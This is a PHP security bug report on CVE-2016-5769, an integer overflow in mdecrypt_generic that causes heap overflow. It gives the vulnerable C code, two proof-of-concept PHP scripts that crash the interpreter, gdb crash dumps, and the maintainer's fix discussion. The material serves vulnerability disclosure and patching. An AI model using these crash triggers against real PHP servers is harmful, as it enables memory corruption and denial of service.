php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72455 Heap Overflow due to integer overflows
Submitted: 2016-06-20 08:33 UTC Modified: 2016-06-27 06:39 UTC
From: nguyenvuhoang199321 at gmail dot com Assigned: stas
Status: Closed Package: mcrypt related
PHP Version: 5.5.36 OS: *Nix
Private report: No CVE-ID: 2016-5769
 [2016-06-20 08:33 UTC] nguyenvuhoang199321 at gmail dot com
Description:
------------
When i looked at PHP_FUNCTION(mcrypt_generic) i had found an integer overflow when mcrypt_generic try to calculate data_size, and then use this value pass to emalloc this result will lead to heap overflow.
```
PHP_FUNCTION(mdecrypt_generic)
{
     **** snip***
     int block_size, data_size; // signed int
     /* Check blocksize */
     if (mcrypt_enc_is_block_mode(pm->td) == 1) { /* It's a block algorithm */
		block_size = mcrypt_enc_get_block_size(pm->td);
		data_size = ((((int)data_len - 1) / block_size) + 1) * block_size;
		data_s = emalloc(data_size + 1);
		memset(data_s, 0, data_size);
		memcpy(data_s, data, data_len);

     }
```
As you can see data_size follow by formular : data_size = ((((int)data_len - 1) / block_size) + 1) * block_size; because data_size is int. If attacker control data_len for example data_len = 0xffffffff then data_size = 0x20, after that, they will emalloc(0x20) bytes and then use memcpy data to data_s with data_len is 0xffffffff in unsigned int is 4294967295. This may lead to heap overflow

Test script:
---------------
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0xfffffff0);

	// $td = mcrypt_module_open('des', '', 'ecb', '');
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', '');
	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mdecrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>

Expected result:
----------------
$ ./php7.0.7 test.php
[1]    12342 segmentation fault (core dumped)  ./php7.0.7 test.php

Actual result:
--------------
gdb-peda$ r test.php
Starting program: /media/Data/Build/audit/php7.0.7 test.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff427c320 --> 0x0
RBX: 0x0
RCX: 0x8000f427c310
RDX: 0xffe7c2d0
RSI: 0x7ffef3d83d38 ('A' <repeats 200 times>...)
RDI: 0x7ffff43fffc0 ('A' <repeats 64 times><error: Cannot access memory at address 0x7ffff4400000>)
RBP: 0x7fffffffaf50 --> 0x7fffffffaf80 --> 0x7fffffffafb0 --> 0x7fffffffaff0 --> 0x7fffffffb100 --> 0x7fffffffd400 --> 0x7fffffffe780 --> 0x7fffffffe8d0 --> 0x9a0b00 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffaee8 --> 0x64e590 (<zif_mdecrypt_generic+401>:	jmp    0x64e5f2 <zif_mdecrypt_generic+499>)
RIP: 0x7ffff6c2ba0e (<__memcpy_avx_unaligned+830>:	vmovntdq YMMWORD PTR [rdi+0x40],ymm2)
R8 : 0x7ffff427c320 --> 0x0
R9 : 0x0
R10: 0x20 (' ')
R11: 0x7ffff77746e0 (<mcrypt_enc_get_block_size>:	mov    rax,QWORD PTR [rdi+0xc8])
R12: 0x424690 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe9b0 --> 0x2
R14: 0x7ffff4214030 --> 0x7ffff427f5c0 ('A' <repeats 200 times>...)
R15: 0x7ffff427f5c0 ('A' <repeats 200 times>...)
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff6c2ba01 <__memcpy_avx_unaligned+817>:	sub    rsi,0xffffffffffffff80
   0x7ffff6c2ba05 <__memcpy_avx_unaligned+821>:	vmovntdq YMMWORD PTR [rdi],ymm0
   0x7ffff6c2ba09 <__memcpy_avx_unaligned+825>:	vmovntdq YMMWORD PTR [rdi+0x20],ymm1
=> 0x7ffff6c2ba0e <__memcpy_avx_unaligned+830>:	vmovntdq YMMWORD PTR [rdi+0x40],ymm2
   0x7ffff6c2ba13 <__memcpy_avx_unaligned+835>:	vmovntdq YMMWORD PTR [rdi+0x60],ymm3
   0x7ffff6c2ba18 <__memcpy_avx_unaligned+840>:	sub    rdi,0xffffffffffffff80
   0x7ffff6c2ba1c <__memcpy_avx_unaligned+844>:	add    rdx,0xffffffffffffff80
   0x7ffff6c2ba20 <__memcpy_avx_unaligned+848>:	jb     0x7ffff6c2b9e0 <__memcpy_avx_unaligned+784>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaee8 --> 0x64e590 (<zif_mdecrypt_generic+401>:	jmp    0x64e5f2 <zif_mdecrypt_generic+499>)
0008| 0x7fffffffaef0 --> 0x7ffff42141e0 --> 0x0
0016| 0x7fffffffaef8 --> 0x7ffff4214220 --> 0x0
0024| 0x7fffffffaf00 --> 0xfffffda9000000e2
0032| 0x7fffffffaf08 --> 0x2000000020 (' ')
0040| 0x7fffffffaf10 --> 0x7ffff4214280 --> 0x7ffff42010e0 --> 0x900000002
0048| 0x7fffffffaf18 --> 0x7ffef3c00018 ('A' <repeats 200 times>...)
0056| 0x7fffffffaf20 --> 0xfffffff0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memcpy_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:272
272	../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S: No such file or directory.
gdb-peda$ bt
#0  __memcpy_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:272
#1  0x000000000064e590 in zif_mdecrypt_generic (execute_data=0x7ffff4214220, return_value=0x7ffff42141e0) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/ext/mcrypt/mcrypt.c:688
#2  0x000000000092cb3e in ZEND_DO_ICALL_SPEC_HANDLER () at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:586
#3  0x000000000092c56a in execute_ex (ex=0x7ffff4214030) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:414
#4  0x000000000092c67b in zend_execute (op_array=0x7ffff427e000, return_value=0x0) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:458
#5  0x00000000008cd94a in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend.c:1427
#6  0x00000000008362ea in php_execute_script (primary_file=0x7fffffffd630) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/main/main.c:2494
#7  0x0000000000995591 in do_cli (argc=0x2, argv=0x115d440) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/sapi/cli/php_cli.c:974
#8  0x000000000099675f in main (argc=0x2, argv=0x115d440) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/sapi/cli/php_cli.c:1344
#9  0x00007ffff6afe830 in __libc_start_main (main=0x995f54 <main>, argc=0x2, argv=0x7fffffffe9b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffe9a8) at ../csu/libc-start.c:291
#10 0x00000000004246b9 in _start ()

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-20 08:54 UTC] nguyenvuhoang199321 at gmail dot com
-Summary: Integer overflow lead to heap overflow +Summary: Heap Overflow due to integer overflows
 [2016-06-20 08:54 UTC] nguyenvuhoang199321 at gmail dot com
Another code block that lead to integer overflow when check encrypt data is not a block cipher. They just cast data_len from unsigned int to signed int, if attacker control data_len = 0xffffffff (in signed int is -1) so data_size +1 is 0 and pass to emalloc, after that they use data_len (is unsigned integer is 4294967295) to copy data to data_s, this leads to heap overflow
```
	} else { /* It's not a block algorithm */
		data_size = (int)data_len;
		data_s = emalloc(data_size + 1);
		memset(data_s, 0, data_size);
		memcpy(data_s, data, data_len);
	}
```

other poc :
```
<?php
	/* Data */
	ini_set('memory_limit',-1);

	$key = str_repeat('C', 32);
	$str = str_repeat('A', 0xffffffff);

	// $td = mcrypt_module_open('des', '', 'ecb', '');
	// $td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', ''); // block cipher
	$td = mcrypt_module_open('rijndael-256', '', 'ofb', ''); // not block cipher

	$ks = mcrypt_enc_get_key_size($td);

	$iv = str_repeat('D', 32);

	if (mcrypt_generic_init($td, $key, $iv) != -1) {
		mcrypt_generic_init($td, $key, $iv);
		$p_t = mdecrypt_generic($td, $str);

		mcrypt_generic_deinit($td);
		mcrypt_module_close($td);
	}
?>
```

Crash when try to copy large size to a small memory size.
```
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xffffffffffe6f027
RDX: 0xffffffffffffffff
RSI: 0x7ffff426f027 --> 0x0
RDI: 0x7ffff4400000
RBP: 0x7fffffffaf50 --> 0x7fffffffaf80 --> 0x7fffffffafb0 --> 0x7fffffffaff0 --> 0x7fffffffb100 --> 0x7fffffffd400 --> 0x7fffffffe780 --> 0x7fffffffe8d0 --> 0x9a0b00 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffaee8 --> 0x64e5db (<zif_mdecrypt_generic+476>:	mov    rdx,QWORD PTR [rbp-0x30])
RIP: 0x7ffff6c50328 (<__memset_avx2+392>:	rep stos BYTE PTR es:[rdi],al)
R8 : 0x2b3
R9 : 0x0
R10: 0x4
R11: 0x7ffff7774c00 (<mcrypt_enc_is_block_mode>:	sub    rsp,0x10)
R12: 0x424690 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe9b0 --> 0x2
R14: 0x7ffff4214030 --> 0x7ffff427f5a0 --> 0x0
R15: 0x7ffff427f5a0 --> 0x0
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff6c5031d <__memset_avx2+381>:	nop    DWORD PTR [rax]
   0x7ffff6c50320 <__memset_avx2+384>:	sub    rcx,0xffffffffffffff80
   0x7ffff6c50324 <__memset_avx2+388>:	vmovd  eax,xmm0
=> 0x7ffff6c50328 <__memset_avx2+392>:	rep stos BYTE PTR es:[rdi],al
   0x7ffff6c5032a <__memset_avx2+394>:	mov    rax,rsi
   0x7ffff6c5032d <__memset_avx2+397>:	sub    rax,rdx
   0x7ffff6c50330 <__memset_avx2+400>:	vzeroupper
   0x7ffff6c50333 <__memset_avx2+403>:	ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaee8 --> 0x64e5db (<zif_mdecrypt_generic+476>:	mov    rdx,QWORD PTR [rbp-0x30])
0008| 0x7fffffffaef0 --> 0x7ffff42141d0 --> 0x0
0016| 0x7fffffffaef8 --> 0x7ffff4214210 --> 0x0
0024| 0x7fffffffaf00 --> 0xfffffda9000000e2
0032| 0x7fffffffaf08 --> 0xf70ec160ffffffff
0040| 0x7fffffffaf10 --> 0x7ffff4214270 --> 0x7ffff42010e0 --> 0x900000002
0048| 0x7fffffffaf18 --> 0x7ffef3c00018 ('A' <repeats 200 times>...)
0056| 0x7fffffffaf20 --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:161
161	../sysdeps/x86_64/multiarch/memset-avx2.S: No such file or directory.
gdb-peda$
```
 [2016-06-21 04:53 UTC] stas@php.net
-PHP Version: 7.0.7 +PHP Version: 5.5.36 -Assigned To: +Assigned To: stas
 [2016-06-21 04:53 UTC] stas@php.net
Fixed in security repo as 6c5211a0cef0cc2854eaa387e0eb036e012904d0 and in https://gist.github.com/18df0450985e5486b2af2903948f991b

Please verify.
 [2016-06-21 06:48 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-21 06:48 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-06-21 06:51 UTC] nguyenvuhoang199321 at gmail dot com
Hello can we assign a CVE for this ? :)
 [2016-06-21 07:03 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-21 07:26 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-21 07:27 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-22 05:58 UTC] krakjoe@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6c5211a0cef0cc2854eaa387e0eb036e012904d0
Log: Fix bug #72455:  Heap Overflow due to integer overflows
 [2016-06-23 12:50 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2016-5769
 [2016-06-27 06:39 UTC] nguyenvuhoang199321 at gmail dot com
Today, i have time to review your patch for this bug.
```
+		if (data_size <= 0) {
+			php_error_docref(NULL TSRMLS_CC, E_WARNING, "Integer overflow in data size");
+			RETURN_FALSE;
+		}
```
It's still crash with my poc.
Sorry with my bad (i don't review your patch) :(
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Jul 25 22:01:35 2017 UTC